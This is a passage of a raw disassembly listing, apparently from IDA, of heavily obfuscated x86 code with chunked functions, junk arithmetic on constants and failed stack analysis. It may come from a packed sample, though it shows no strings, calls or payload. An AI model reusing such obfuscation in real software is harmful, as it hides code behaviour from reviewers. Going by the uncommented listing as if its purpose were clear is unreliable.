XREF: sub_43B7B5:loc_4425F2o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043B74E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043E2C9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043F1D3 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 004479B3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044E441 SIZE 0000000B BYTES mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_43B74E jmp loc_44E441 sub_445362 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_445373: ; CODE XREF: sub_448EB6:loc_4478EFj cmp dword ptr [ebp-4], 0 jz loc_438C96 jmp loc_43B6C2 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; =============== S U B R O U T I N E ======================================= sub_445382 proc near ; DATA XREF: y22d6.y.:00438E9Bo ; FUNCTION CHUNK AT 0043A2D7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044B156 SIZE 0000000A BYTES push eax mov eax, edx call sub_44C758 mov eax, [esp+0] jmp loc_44B156 sub_445382 endp ; --------------------------------------------------------------------------- jnp loc_44CFE8 jmp loc_446F1E ; --------------------------------------------------------------------------- xchg eax, ebx jmp sub_443CFC ; --------------------------------------------------------------------------- loc_4453A4: ; CODE XREF: y22d6.y.:004390E1j jle loc_443AA1 ; =============== S U B R O U T I N E ======================================= sub_4453AA proc near ; CODE XREF: sub_440F6Ap xchg edx, [esp+0] pop edx push ebp push offset sub_443AFF jmp nullsub_311 sub_4453AA endp ; --------------------------------------------------------------------------- loc_4453B9: ; CODE XREF: y22d6.y.:loc_449A6Bj jz loc_442F57 add edx, ecx rol ebx, 1 jb sub_44E1BD shl ebx, 7 jmp loc_442F54 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441E5C loc_4453D1: ; CODE XREF: sub_441E5C-4BC9j push offset loc_445D58 jmp loc_43F1C9 ; END OF FUNCTION CHUNK FOR sub_441E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4383E0 loc_4453DB: ; CODE XREF: sub_4383E0:loc_43F1C4j ; sub_43A4E4:loc_4473CBj call sub_44D088 call sub_44A9DF or eax, eax jnz loc_44B64E loc_4453ED: ; CODE XREF: y22d6.y.:loc_44BDC4j jmp loc_44B970 ; END OF FUNCTION CHUNK FOR sub_4383E0 ; --------------------------------------------------------------------------- loc_4453F2: ; DATA XREF: sub_442C0C-1312o push esi push 86E9483Bh pop esi rol esi, 15h xor esi, 568F3FC8h or esi, 578C16B7h jmp loc_4473B3 ; =============== S U B R O U T I N E ======================================= sub_44540D proc near ; CODE XREF: sub_44B27F-D0C8j ; DATA XREF: sub_445DB1:loc_43BBA2o ; FUNCTION CHUNK AT 0043DFAE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004401C2 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044DE1F SIZE 00000026 BYTES add esp, 0FFFFFFECh mov eax, offset dword_446DC0 call sub_44B003 cmp ds:dword_442A78, 0 jmp loc_43DFAE sub_44540D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A6E1 loc_445426: ; CODE XREF: sub_43A6E1+132Aj jz loc_43BF67 jmp loc_449032 ; END OF FUNCTION CHUNK FOR sub_43A6E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4384B4 loc_445431: ; CODE XREF: sub_4384B4+563Cj xor eax, 0C5C4030Eh call sub_444581 push eax mov eax, ebx jmp loc_44D3EF ; END OF FUNCTION CHUNK FOR sub_4384B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4449FA loc_445444: ; CODE XREF: sub_4449FA:loc_443B6Ej push esi push 0CC81711Eh pop esi xor esi, 3E95B11Ah add esi, 29D64EABh jmp loc_44069C ; END OF FUNCTION CHUNK FOR sub_4449FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442C0C loc_44545C: ; CODE XREF: sub_442C0C:loc_437AE0j push ecx push esi push 0E031CC88h pop esi sub esi, 8281135Bh rol esi, 1Ch and esi, 961D3ABBh add esi, 61F7E832h jmp loc_43AD55 ; END OF FUNCTION CHUNK FOR sub_442C0C ; --------------------------------------------------------------------------- loc_44547E: ; CODE XREF: y22d6.y.:loc_437539j pop esi rol esi, 8 xor esi, 2E78B8A3h add eax, esi jmp loc_443461 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E5C2 loc_44548F: ; CODE XREF: sub_43E5C2+54C0j jnp loc_442CC4 mov eax, esi push 0F61638D9h loc_44549C: ; CODE XREF: sub_43E5C2:loc_44DC3Bj add esi, 41255CB0h popf call sub_443CFC ; END OF FUNCTION CHUNK FOR sub_43E5C2 ; START OF FUNCTION CHUNK FOR sub_438B66 loc_4454A8: ; CODE XREF: sub_438B66-13CEj adc ebx, 0E9068CF3h push eax loc_4454AF: ; CODE XREF: sub_438B66:loc_4483FCj movzx eax, word ptr [ebp-6] push 0A2AA33D4h pop edx sub edx, 1A50D7CBh and edx, 44FBE4C5h xor edx, ds:4000EBh jmp loc_4448DB ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- push eax ror eax, 0Ah push esi push 7E06C5BDh pop esi xor esi, 0F87DEEEFh cmp esi, 5318D911h jmp loc_43706C ; --------------------------------------------------------------------------- loc_4454EC: ; CODE XREF: y22d6.y.:0043C1B3j call sub_442060 mov eax, 7DA6ACC0h push esi push 3725B1A5h pop esi jmp loc_439581 ; --------------------------------------------------------------------------- mov eax, [edi] push 15D899h jmp sub_443258 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A53A loc_44550E: ; CODE XREF: sub_44A53A-AF60j jge loc_447906 ; END OF FUNCTION CHUNK FOR sub_44A53A ; START OF FUNCTION CHUNK FOR sub_4425E0 loc_445514: ; CODE XREF: sub_4425E0-65F4j jmp loc_44CB8E ; END OF FUNCTION CHUNK FOR sub_4425E0 ; --------------------------------------------------------------------------- add edi, 87B62FF5h ror edi, 1Ah jnb loc_44AFB3 ; START OF FUNCTION CHUNK FOR sub_43C712 loc_445528: ; CODE XREF: sub_43C712:loc_442691j jmp loc_447906 ; END OF FUNCTION CHUNK FOR sub_43C712 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44552D: ; CODE XREF: sub_4432B8+FEj and ebx, 6A77146Bh rol ebx, 0Ah add ebx, 0E443A944h xchg ebx, [esp+18h+var_18] jmp loc_449044 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- push edi push 0BED24803h jmp loc_447332 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443AC9 loc_44554F: ; CODE XREF: sub_443AC9+12j add eax, 2D88367Fh sub eax, 1FD11170h add eax, 929586EAh xchg eax, [esp+4+var_4] jmp sub_44D088 ; END OF FUNCTION CHUNK FOR sub_443AC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43837F loc_445569: ; CODE XREF: sub_43837F:loc_43AC7Ej cmp dword ptr [ebp-1Ch], 0Fh jnz loc_44BD75 mov eax, [ebp-1Ch] shl eax, 8 mov edx, [ebp-20h] movzx edx, byte ptr [edx] or eax, edx jmp loc_44A515 ; END OF FUNCTION CHUNK FOR sub_43837F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BD44 loc_445586: ; CODE XREF: sub_43BD44+Ej add edi, 0E2F35203h rol ecx, 1Dh loc_44558F: ; CODE XREF: y22d6.y.:00445693j xor eax, 70FD0B7Ah or eax, 8DD3EE6h xor eax, 0F4273F5Ch push edi jmp loc_44CD1F ; END OF FUNCTION CHUNK FOR sub_43BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A359 loc_4455A7: ; CODE XREF: sub_44A359-6673j and ebx, edx loc_4455A9: ; CODE XREF: sub_44A359:loc_445B6Bj mov eax, 0BB0E1C2h call sub_43CA1A rol eax, 12h push esi push 0AA3DDBB6h pop esi jmp loc_43FC35 ; END OF FUNCTION CHUNK FOR sub_44A359 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4455C2: ; CODE XREF: sub_4432B8:loc_4484C1j xchg ecx, esi or ecx, 417BAA30h jmp loc_440C91 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444871 loc_4455CF: ; CODE XREF: sub_444871-B9FBj and ecx, 1E8DC8D1h add ecx, 60B2BECh xor eax, ecx pop ecx call sub_440D11 loc_4455E3: ; CODE XREF: sub_448EB6+132j jmp loc_444700 ; END OF FUNCTION CHUNK FOR sub_444871 ; --------------------------------------------------------------------------- loc_4455E8: ; CODE XREF: y22d6.y.:00443648j jmp loc_44D4CB ; =============== S U B R O U T I N E ======================================= sub_4455ED proc near ; CODE XREF: sub_444C6B+7p xchg eax, [esp+0] pop eax push edx mov edx, edi call sub_44BADD adc ebx, 298C79A4h jmp sub_44D22A sub_4455ED endp ; =============== S U B R O U T I N E ======================================= sub_445604 proc near ; DATA XREF: sub_43FDBB+Ao call sub_44C171 mov ds:dword_4413B0, eax loc_44560E: ; CODE XREF: y22d6.y.:0044D788j lea eax, [ebp-14h] xor edx, edx call sub_44D088 sub_445604 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_43EC92 loc_445618: ; CODE XREF: sub_43EC92+Dj push 9DF9B166h pop eax jmp loc_43E9EC ; END OF FUNCTION CHUNK FOR sub_43EC92 ; --------------------------------------------------------------------------- push edx jmp sub_43DD60 ; =============== S U B R O U T I N E ======================================= sub_445629 proc near ; CODE XREF: y22d6.y.:loc_438379j ; y22d6.y.:0043C29Aj ... var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043A274 SIZE 0000001A BYTES xchg ecx, [esp+0] pop ecx mov eax, [esp-4+arg_0] push esi mov esi, eax xchg esi, [esp+0] push esi jmp loc_43A274 sub_445629 endp ; =============== S U B R O U T I N E ======================================= sub_44563C proc near ; CODE XREF: y22d6.y.:00443BCDj ; sub_44051D+C7D9p ; FUNCTION CHUNK AT 0043856D SIZE 0000000A BYTES xchg edx, [esp+0] pop edx xor eax, eax mov al, [ebp-9] shl eax, cl jmp loc_43856D sub_44563C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DB81 loc_44564C: ; CODE XREF: sub_44DB81-12A6Aj ja loc_440B36 jz loc_44C616 jmp loc_44E044 ; END OF FUNCTION CHUNK FOR sub_44DB81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_44565D: ; CODE XREF: sub_439051+379Fj jge loc_442749 test edx, 1DD7499h jmp loc_4490BD ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4385ED loc_44566E: ; CODE XREF: sub_4385ED+9E84j push eax mov eax, [ebp-18h] add eax, eax cdq add eax, [esp+4+var_4] adc edx, [esp+4] jmp loc_43CFE1 ; END OF FUNCTION CHUNK FOR sub_4385ED ; --------------------------------------------------------------------------- push 99F9A7C8h pop eax add eax, 0F3087527h and eax, 0F6D2AAEAh jnz loc_44558F or ebx, 0BC4DAF7Dh jnp loc_4383EB jmp loc_43BD50 ; --------------------------------------------------------------------------- loc_4456AA: ; DATA XREF: sub_437890+7o imul byte ptr [edx] cmp al, 0A4h jz loc_43E2F2 ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4456B4: ; CODE XREF: sub_4432B8:loc_443394j jmp loc_43B448 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- xor ebp, esi jmp loc_441D57 ; --------------------------------------------------------------------------- loc_4456C0: ; CODE XREF: y22d6.y.:00446032j xor edx, esi ; =============== S U B R O U T I N E ======================================= sub_4456C2 proc near ; CODE XREF: y22d6.y.:00444629p ; FUNCTION CHUNK AT 00440340 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi mov eax, [eax] or eax, eax jnz loc_440340 sub_4456C2 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_437901 loc_4456D0: ; CODE XREF: y22d6.y.:loc_4418A7j ; sub_437901:loc_4457D1j ... jmp loc_437951 ; END OF FUNCTION CHUNK FOR sub_437901 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DB81 loc_4456D5: ; CODE XREF: sub_44DB81+4D5j jz loc_4380D3 jmp loc_44DEDF ; END OF FUNCTION CHUNK FOR sub_44DB81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E185 loc_4456E0: ; CODE XREF: sub_43E185+3DAFj test eax, 58275048h jmp loc_439DD9 ; END OF FUNCTION CHUNK FOR sub_43E185 ; =============== S U B R O U T I N E ======================================= sub_4456EB proc near ; DATA XREF: sub_44633F-A3F9o add edx, 2AE9BE43h add eax, edx push offset sub_4431CD jmp nullsub_300 sub_4456EB endp ; --------------------------------------------------------------------------- loc_4456FD: ; CODE XREF: y22d6.y.:loc_444B04j jz loc_438D00 jmp loc_43CDD7 ; --------------------------------------------------------------------------- loc_445708: ; DATA XREF: sub_43DF56+6o mov eax, ds:dword_4425CC call sub_444686 ; START OF FUNCTION CHUNK FOR sub_44A768 loc_445713: ; CODE XREF: sub_44A768+11j jmp nullsub_1 ; END OF FUNCTION CHUNK FOR sub_44A768 ; --------------------------------------------------------------------------- loc_445718: ; CODE XREF: y22d6.y.:004479FCj jmp loc_43E560 ; =============== S U B R O U T I N E ======================================= sub_44571D proc near ; CODE XREF: sub_449442j ; DATA XREF: sub_43CA1A+CA1Eo ; FUNCTION CHUNK AT 00438C8E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043FD89 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00440934 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00448ACD SIZE 00000005 BYTES mov edx, [ebp-28h] mov [edx], al inc dword ptr [ebp-28h] mov eax, [ebp-24h] cmp byte ptr [eax], 2Eh jnz loc_438C8E jmp loc_448ACD sub_44571D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441FB5 loc_445736: ; CODE XREF: sub_441FB5:loc_4481AAj mov eax, [eax] xchg eax, [esp-4+arg_0] call eax mov [ebp-4], eax ; END OF FUNCTION CHUNK FOR sub_441FB5 ; START OF FUNCTION CHUNK FOR sub_440395 loc_445740: ; CODE XREF: y22d6.y.:0043BF8Aj ; sub_440395:loc_448CEFj ... dec ds:dword_44186C ; END OF FUNCTION CHUNK FOR sub_440395 ; START OF FUNCTION CHUNK FOR sub_44057E loc_445746: ; CODE XREF: y22d6.y.:0043BE29j ; sub_44057E:loc_443100j mov eax, [ebp-4] jmp loc_447CAF ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444A91 loc_44574E: ; CODE XREF: sub_444A91+Dj pop edi or edi, 5371415Ah xor edi, 77C65677h js loc_44BE1D loc_445761: ; CODE XREF: sub_44D6B7+14j jmp sub_43F112 ; END OF FUNCTION CHUNK FOR sub_444A91 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442592 loc_445766: ; CODE XREF: sub_442592:loc_44841Dj jmp nullsub_109 ; END OF FUNCTION CHUNK FOR sub_442592 ; --------------------------------------------------------------------------- sbb edx, 81E775DFh push 728010CFh add eax, 0F9E8D75h jmp loc_44BE1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C55B loc_445781: ; CODE XREF: sub_43C55B+155Aj jb loc_44C72F ; END OF FUNCTION CHUNK FOR sub_43C55B ; =============== S U B R O U T I N E ======================================= sub_445787 proc near ; CODE XREF: y22d6.y.:loc_445A50p xchg edi, [esp+0] pop edi push eax jmp loc_43AD50 sub_445787 endp ; =============== S U B R O U T I N E ======================================= sub_445791 proc near ; DATA XREF: sub_43F443+5o ; FUNCTION CHUNK AT 004487E4 SIZE 00000005 BYTES push 114582BCh pop eax sub eax, 2E2AFC1Eh add eax, 1D2911C4h jmp loc_4487E4 sub_445791 endp ; --------------------------------------------------------------------------- jbe loc_449C37 jmp sub_441E1E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B81B loc_4457B3: ; CODE XREF: sub_44B81B:loc_437384j pop edx or eax, 0A1FD7972h add eax, 7D7BC402h xor eax, 403021C2h cmp eax, 5B738C22h jmp loc_43B323 ; END OF FUNCTION CHUNK FOR sub_44B81B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437901 loc_4457D1: ; CODE XREF: sub_437901+F504j jo loc_4456D0 xor esi, 6AC78A1Eh jmp loc_44024C ; END OF FUNCTION CHUNK FOR sub_437901 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44807C loc_4457E2: ; CODE XREF: sub_44807C-10398j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_44024C jmp loc_4376E7 ; END OF FUNCTION CHUNK FOR sub_44807C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447D7F loc_4457F6: ; CODE XREF: sub_447D7F-7782j test esi, 8 jmp loc_442FC3 ; END OF FUNCTION CHUNK FOR sub_447D7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_445801: ; CODE XREF: sub_44633F+7A5Cj jns loc_44AD49 add eax, 28h push edi push 10CE6BE4h pop edi sub edi, 6CA3B01Bh cmp edi, 0DD2DCAF5h jmp loc_43BC38 ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- loc_445822: ; CODE XREF: y22d6.y.:00438FFBj adc edi, 751BB8AFh jmp loc_449E4A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_44582D: ; CODE XREF: sub_439051:loc_444507j jz loc_437DBD xchg eax, ebp sub edx, ebx not ecx jmp loc_437DBD ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44439D loc_44583E: ; CODE XREF: sub_44439D+82F3j mov ebx, [edx] loc_445840: ; CODE XREF: sub_44439D:loc_443AF4j push 8A37D364h pop eax sub eax, 60D47230h jmp loc_43B0FD ; END OF FUNCTION CHUNK FOR sub_44439D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_445851: ; CODE XREF: sub_44BCC2-1901j jnz loc_443E3C jmp loc_437FEE ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; =============== S U B R O U T I N E ======================================= sub_44585C proc near ; CODE XREF: y22d6.y.:0043C149p ; y22d6.y.:0043C2F6j ; FUNCTION CHUNK AT 0043FA60 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00440BFC SIZE 0000000B BYTES xchg ecx, [esp+0] pop ecx push 29A2C717h pop edx or edx, 0D03D4EDh sub edx, 7CA4B615h jmp loc_43FA60 sub_44585C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C758 loc_445877: ; CODE XREF: sub_44C758:loc_446124j pop esi pushf push 0AB7C7865h pop eax or eax, 0BE3B54F6h xor eax, 0ED45DC06h add eax, ebp add eax, 0ADC55F0Bh jmp loc_4426FD ; END OF FUNCTION CHUNK FOR sub_44C758 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439F5A loc_445898: ; CODE XREF: sub_439F5A:loc_440FA3j pop ebx and ebx, 0BA9A9A0Ch add ebx, 2A105354h add ebx, ebp jmp loc_44068B ; END OF FUNCTION CHUNK FOR sub_439F5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4458AC: ; CODE XREF: sub_4432B8-2A5Cj jnz loc_4377BF jmp loc_442176 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437B10 loc_4458B7: ; CODE XREF: sub_437B10:loc_44380Fj jnz loc_44CCFB cdq pushf jnz loc_437A57 jmp loc_44CCFB ; END OF FUNCTION CHUNK FOR sub_437B10 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FAC6 loc_4458CA: ; CODE XREF: sub_43FAC6:loc_43B5D1j jge loc_438963 sbb esi, eax loc_4458D2: ; CODE XREF: sub_43FAC6:loc_442F68j push 0ADB3B54Eh pop eax or eax, 0B3C4812Ch xor eax, 83521245h jmp loc_443B73 ; END OF FUNCTION CHUNK FOR sub_43FAC6 ; --------------------------------------------------------------------------- loc_4458E9: ; CODE XREF: y22d6.y.:loc_44710Bj push 0F4DA5592h pop edx rol edx, 12h jb loc_443E7D loc_4458F8: ; CODE XREF: y22d6.y.:0044D6A1j jmp loc_440861 ; --------------------------------------------------------------------------- loc_4458FD: ; CODE XREF: y22d6.y.:00437C77j ; y22d6.y.:00449B48j xor eax, 0BE4F3AA4h push edx pushf ; START OF FUNCTION CHUNK FOR sub_43F750 loc_445905: ; CODE XREF: sub_43F750:loc_44A9BDj push 0D88588FEh pop edx add edx, 799CC5E0h xor edx, 0A974563Ah rol edx, 0Bh jmp loc_43A4F8 ; END OF FUNCTION CHUNK FOR sub_43F750 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4450FD loc_44591F: ; CODE XREF: sub_4450FD-A9F1j ; sub_4450FD:loc_446E58j push 0D2855A03h pop eax rol eax, 0Dh test eax, 10000h jmp loc_43A12F ; END OF FUNCTION CHUNK FOR sub_4450FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E185 loc_445933: ; CODE XREF: sub_43E185+4B25j xor edi, 6FC7FA9Fh rol edi, 13h sub edi, 0F1AD160Bh or edi, 43B4A522h xor edi, 0D4D180FBh jmp loc_445A93 ; END OF FUNCTION CHUNK FOR sub_43E185 ; --------------------------------------------------------------------------- loc_445953: ; DATA XREF: sub_43F112+1o jno loc_44899F call sub_449956 loc_44595E: ; CODE XREF: y22d6.y.:0043EEFCj jmp loc_437B85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7D4 loc_445963: ; CODE XREF: sub_43B7D4:loc_442ECEj mov [esi], eax and edx, 519586AEh jge loc_4485C7 test edx, ebx jmp loc_445DE9 ; END OF FUNCTION CHUNK FOR sub_43B7D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_445978: ; CODE XREF: sub_439051:loc_4398D2j test edi, 0A49FD0E9h jmp loc_43D6D6 ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- push edi push 0F2D7B579h pop edi rol edi, 0Ah jb loc_4486D7 loc_445993: ; CODE XREF: y22d6.y.:0044D6ACj jmp loc_438EA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445B95 loc_445998: ; CODE XREF: sub_445B95+9j jmp nullsub_101 ; END OF FUNCTION CHUNK FOR sub_445B95 ; --------------------------------------------------------------------------- jnz loc_43F48C and edx, 0D266D98Dh jmp loc_4486D0 ; --------------------------------------------------------------------------- loc_4459AE: ; CODE XREF: y22d6.y.:loc_43BCA4j jz loc_4428E0 loc_4459B4: ; CODE XREF: y22d6.y.:0044866Aj jmp loc_44B9FE ; --------------------------------------------------------------------------- loc_4459B9: ; CODE XREF: y22d6.y.:loc_4474A3j jmp loc_43A7E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441030 loc_4459BE: ; CODE XREF: sub_441030+11j jmp loc_43C02D ; END OF FUNCTION CHUNK FOR sub_441030 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443778 loc_4459C3: ; CODE XREF: sub_443778-344Dj jmp nullsub_256 ; END OF FUNCTION CHUNK FOR sub_443778 ; --------------------------------------------------------------------------- ror ebp, 1Bh add esi, eax jmp loc_4428D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448C77 loc_4459D2: ; CODE XREF: sub_448C77:loc_439BC5j jl loc_4474EB loc_4459D8: ; CODE XREF: y22d6.y.:00443827j jmp loc_44A2E6 ; END OF FUNCTION CHUNK FOR sub_448C77 ; --------------------------------------------------------------------------- loc_4459DD: ; CODE XREF: y22d6.y.:00442EA4j ; y22d6.y.:loc_44BE48j jmp sub_43E0A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_4459E2: ; CODE XREF: sub_448EB6-F54Ej jmp nullsub_324 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- db 0Fh dd 0FF84488Ah, 0E9CD3BFFh, 143Eh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448AF8 loc_4459F4: ; CODE XREF: sub_448AF8:loc_43D55Fj push 6794B8ADh pop edi add edi, 17820F96h sub edi, 9AEE39D0h xor edi, 0E4288E73h xchg edi, [esp+8+var_8] push edi jmp loc_44E258 ; END OF FUNCTION CHUNK FOR sub_448AF8 ; =============== S U B R O U T I N E ======================================= sub_445A15 proc near ; CODE XREF: sub_43B252:loc_44851Dp ; y22d6.y.:0044A5ACj ; FUNCTION CHUNK AT 00439B60 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043ADB0 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0043B1A4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043BBB7 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0043CEBF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043DC14 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044C3EB SIZE 00000005 BYTES xchg eax, [esp+0] pop eax ror eax, 7 xor eax, 0B4487194h jmp loc_43BBB7 sub_445A15 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_180. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4431CD loc_445A28: ; CODE XREF: sub_4431CD:loc_4421FBj ; y22d6.y.:004446EBj jmp loc_43EDB3 ; END OF FUNCTION CHUNK FOR sub_4431CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C8E9 loc_445A2D: ; CODE XREF: sub_44C8E9-12504j jmp sub_43BE66 ; END OF FUNCTION CHUNK FOR sub_44C8E9 ; --------------------------------------------------------------------------- push edi push 212BF348h xchg ebx, [esp] ; START OF FUNCTION CHUNK FOR sub_440494 loc_445A3B: ; CODE XREF: sub_440494:loc_4397D9j mov edi, ebx jmp loc_44E42F ; END OF FUNCTION CHUNK FOR sub_440494 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_445A42: ; CODE XREF: sub_438B66+9EE1j cmp eax, [edx+18h] jnb loc_44506C jmp loc_43E642 ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- loc_445A50: ; CODE XREF: y22d6.y.:0044CA5Cj call sub_445787 ; START OF FUNCTION CHUNK FOR sub_44D313 loc_445A55: ; CODE XREF: sub_44D313-8E4Fj jmp nullsub_320 ; END OF FUNCTION CHUNK FOR sub_44D313 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_445A5A: ; CODE XREF: sub_44271A+857Fj jbe loc_43D104 jnz loc_4481DD push ebp loc_445A67: ; CODE XREF: sub_44271A:loc_441BD8j push 25D38986h jmp loc_444799 ; END OF FUNCTION CHUNK FOR sub_44271A ; =============== S U B R O U T I N E ======================================= sub_445A71 proc near ; DATA XREF: sub_43E185-4F30o xchg esi, [esp+0] mov edx, eax jmp loc_438808 sub_445A71 endp ; --------------------------------------------------------------------------- loc_445A7B: ; CODE XREF: y22d6.y.:004391B6j push 0D120C413h pop edx or edx, 5D2E58D1h add edx, 23150021h jmp loc_445C1D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_120. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E185 loc_445A93: ; CODE XREF: sub_43E185+77C9j jmp loc_444A7D ; END OF FUNCTION CHUNK FOR sub_43E185 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4446B8 loc_445A98: ; CODE XREF: sub_4446B8+18j jmp loc_44E0E8 ; END OF FUNCTION CHUNK FOR sub_4446B8 ; --------------------------------------------------------------------------- loc_445A9D: ; DATA XREF: sub_447BB2+36E5o add ecx, 0C3FDA05Bh popf xor eax, ecx pop ecx jmp loc_437EB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446222 loc_445AAC: ; CODE XREF: sub_446222:loc_43D8A0j push edx push edi push 537A0FC9h pop edi or edi, 3E21198Dh jmp loc_44CE49 ; END OF FUNCTION CHUNK FOR sub_446222 ; --------------------------------------------------------------------------- loc_445ABF: ; CODE XREF: y22d6.y.:004384F7j xchg edi, [esp] jmp loc_447D55 ; --------------------------------------------------------------------------- db 0E8h dd 0FFFF344Bh, 0CFC62BB8h, 80685219h, 5AAFC3F6h, 0B61AEA81h dd 0F281BC23h, 0B8A769FEh, 0E91EC2C1h, 0FFFF6C45h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4481EF loc_445AEC: ; CODE XREF: sub_4481EF+Cj jnz loc_448A93 jmp loc_43F4CB ; END OF FUNCTION CHUNK 